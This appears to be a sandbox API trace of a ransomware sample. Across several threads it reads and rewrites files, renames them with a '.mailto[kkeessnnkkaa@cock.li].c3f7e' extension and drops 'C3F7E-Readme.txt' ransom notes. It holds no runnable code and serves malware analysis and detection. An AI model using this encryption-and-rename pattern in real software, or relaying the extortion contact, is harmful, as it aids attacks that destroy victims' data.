	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xa57b5374
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x39c8c35d
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x3071eeab
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x5bc82b3b
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xcd123f5c
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xcc4fd8f7
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xdcc25dd8
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xecb76193
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x66c119cb
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x7ba08d14
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x7dc47661
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xd9d0e24a
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x9471e290
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x3cd34844
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x2cd97be2
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xd29e3ecd
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x6e913e54
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x4c562893
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x31fe0186
	[0076.104] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xc139f174
	[0076.112] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.112] ReadFile (in: hFile=0x9c0, lpBuffer=0x4e4e870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa60fd50, lpOverlapped=0x0 | out: lpBuffer=0x4e4e870*, lpNumberOfBytesRead=0xa60fd50*=0xc800, lpOverlapped=0x0) returned 1
	[0076.114] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d739c0
	[0076.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04d38
	[0076.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e5b078
	[0076.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724928
	[0076.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724950
	[0076.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724950) returned 1
	[0076.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.116] WriteFile (in: hFile=0x9c0, lpBuffer=0x4e5b078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa60fd50, lpOverlapped=0x0 | out: lpBuffer=0x4e5b078*, lpNumberOfBytesWritten=0xa60fd50*=0xc800, lpOverlapped=0x0) returned 1
	[0078.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e5b078) returned 1
	[0078.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e4e870) returned 1
	[0078.530] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4764d90
	[0078.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343e8
	[0078.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0078.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4735198
	[0078.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343e8
	[0078.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34488
	[0078.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34488) returned 1
	[0078.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771868
	[0078.531] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.531] WriteFile (in: hFile=0x9c0, lpBuffer=0x4771868*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa60fdd0, lpOverlapped=0x0 | out: lpBuffer=0x4771868*, lpNumberOfBytesWritten=0xa60fdd0*=0x113, lpOverlapped=0x0) returned 1
	[0078.671] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0078.671] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4735198) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764d90) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724928) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a40) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a90) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ce8) returned 1
	[0078.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986b00
	[0078.672] wcscpy (in: _Dest=0x4986b00, _Source="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml"
	[0078.672] wcscat (in: _Dest=0x4986b00, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.672] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa60fd88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769a28
	[0078.672] NtSetInformationFile (FileHandle=0x9c0, IoStatusBlock=0xa60fd80, FileInformation=0x4769a28, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769a28) returned 1
	[0078.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d778) returned 1
	[0078.726] NtQueryInformationFile (in: FileHandle=0x9c0, IoStatusBlock=0xa60fd94, FileInformation=0xa60fd6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa60fd94, FileInformation=0xa60fd6c) returned 0x0
	[0078.726] NtSetInformationFile (FileHandle=0x9c0, IoStatusBlock=0xa60fd94, FileInformation=0xa60fd6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.727] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986b00) returned 1
	[0078.728] FlushFileBuffers (hFile=0x9c0) returned 1
	[0080.074] CloseHandle (hObject=0x9c0) returned 1
	[0080.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.179] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1049\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0080.179] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1049\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1049\\C3F7E-Readme.txt"
	[0080.180] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\c3f7e-readme.txt")) returned 0x20
	[0080.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733528) returned 1

Thread:
	id = 208
	os_tid = 0x6bc

	[0076.121] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80
	[0076.125] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b4
	[0076.125] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0xa68f880 | out: lpFileSize=0xa68f880*=3865) returned 1
	[0076.125] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xf15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.125] ReadFile (in: hFile=0x9b4, lpBuffer=0xa68f804, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa68f800, lpOverlapped=0x0 | out: lpBuffer=0xa68f804*, lpNumberOfBytesRead=0xa68f800*=0x4, lpOverlapped=0x0) returned 1
	[0076.127] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724950
	[0076.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.127] NtQuerySystemTime (in: CurrentTime=0xa68f7e0 | out: CurrentTime=0xa68f7e0*=132251868028565704) returned 0x0
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x8fb9b7a4
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x5d20900c
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x3802f2b9
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x3f589082
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xbeaed205
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x1e19ea29
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xa18d10bc
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x608c6721
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xe86f6ea0
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x372b26dc
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x7807936
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xd7f85ec4
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x43dfbb2b
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x919ad80
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xee1d8d22
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x876a7666
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x57e2a0e2
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x3b7687a4
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xc8a16ec5
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x7ef41bb9
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x9d063eae
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x1d95b7c2
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x684b7701
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xd4bbea53
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xf074539
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xbca41231
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x1316ca96
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x980e1772
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xd4344627
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xe3bfa842
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0xe81a36e6
	[0076.127] RtlRandom (in: Seed=0xa68f7ec | out: Seed=0xa68f7ec) returned 0x47b8032
	[0076.137] ReadFile (in: hFile=0x9b4, lpBuffer=0x4e67880, nNumberOfBytesToRead=0xf19, lpNumberOfBytesRead=0xa68f7dc, lpOverlapped=0x0 | out: lpBuffer=0x4e67880*, lpNumberOfBytesRead=0xa68f7dc*=0xf19, lpOverlapped=0x0) returned 1
	[0076.138] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.138] WriteFile (in: hFile=0x9b4, lpBuffer=0x4e74088*, nNumberOfBytesToWrite=0xf19, lpNumberOfBytesWritten=0xa68f7d8, lpOverlapped=0x0 | out: lpBuffer=0x4e74088*, lpNumberOfBytesWritten=0xa68f7d8*=0xf19, lpOverlapped=0x0) returned 1
	[0076.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249c8
	[0076.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249f0
	[0076.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249f0) returned 1
	[0076.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e74088) returned 1
	[0076.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e67880) returned 1
	[0076.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4724bf8
	[0076.139] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.139] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa68f840, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa68f840*=0x101, lpOverlapped=0x0) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249f0) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a18) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249c8) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724950) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724978) returned 1
	[0076.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249a0) returned 1
	[0076.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0076.142] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1053\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf"
	[0076.142] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa68f7f8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0076.144] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0076.144] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0076.144] NtQueryInformationFile (in: FileHandle=0x9b4, IoStatusBlock=0xa68f804, FileInformation=0xa68f7dc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa68f804, FileInformation=0xa68f7dc) returned 0x0
	[0076.145] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0xa68f804, FileInformation=0xa68f7dc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0076.145] FlushFileBuffers (hFile=0x9b4) returned 1
	[0076.147] CloseHandle (hObject=0x9b4) returned 1
	[0076.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0076.147] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1053\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\"
	[0076.147] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1053\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1053\\C3F7E-Readme.txt"
	[0076.147] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.147] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b4
	[0076.148] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa68f800, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa68f800*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.149] CloseHandle (hObject=0x9b4) returned 1
	[0076.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730970) returned 1

Thread:
	id = 209
	os_tid = 0x10b4

	[0076.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80
	[0076.139] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c4
	[0076.141] GetFileSizeEx (in: hFile=0x9c4, lpFileSize=0xa70fdc4 | out: lpFileSize=0xa70fdc4*=77680) returned 1
	[0076.141] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x12f6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.141] ReadFile (in: hFile=0x9c4, lpBuffer=0xa70fd48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa70fd44, lpOverlapped=0x0 | out: lpBuffer=0xa70fd48*, lpNumberOfBytesRead=0xa70fd44*=0x4, lpOverlapped=0x0) returned 1
	[0076.150] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724950
	[0076.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.150] NtQuerySystemTime (in: CurrentTime=0xa70fd24 | out: CurrentTime=0xa70fd24*=132251868028877599) returned 0x0
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xb273eafb
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x9b323bb6
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x4a3f4c47
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x4bbd1f32
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x74e93afa
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x336bb60
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x1ece63f0
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x25e9b3a5
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xa06e594
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xb1ce6f8e
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x2eeaef5c
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x12502d5e
	[0076.150] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x97ef1bf5
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xeaf4103a
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xd7153d5f
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xb182ba3b
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x939c8589
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x5dfe28a9
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x9d8cfee3
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xfe43560e
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x4ce0a01a
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x43c16d7d
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x9f20f74d
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xf16efe4f
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xfa523a3d
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x6e1c06f3
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xbecc6260
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x8269823a
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0x8b5a030e
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xc058d6ea
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xf8aa5225
	[0076.151] RtlRandom (in: Seed=0xa70fd30 | out: Seed=0xa70fd30) returned 0xf0e40449
	[0076.163] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.163] ReadFile (in: hFile=0x9c4, lpBuffer=0x4e67880, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa70fd04, lpOverlapped=0x0 | out: lpBuffer=0x4e67880*, lpNumberOfBytesRead=0xa70fd04*=0xc800, lpOverlapped=0x0) returned 1
	[0076.165] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d739c0
	[0076.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04d38
	[0076.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
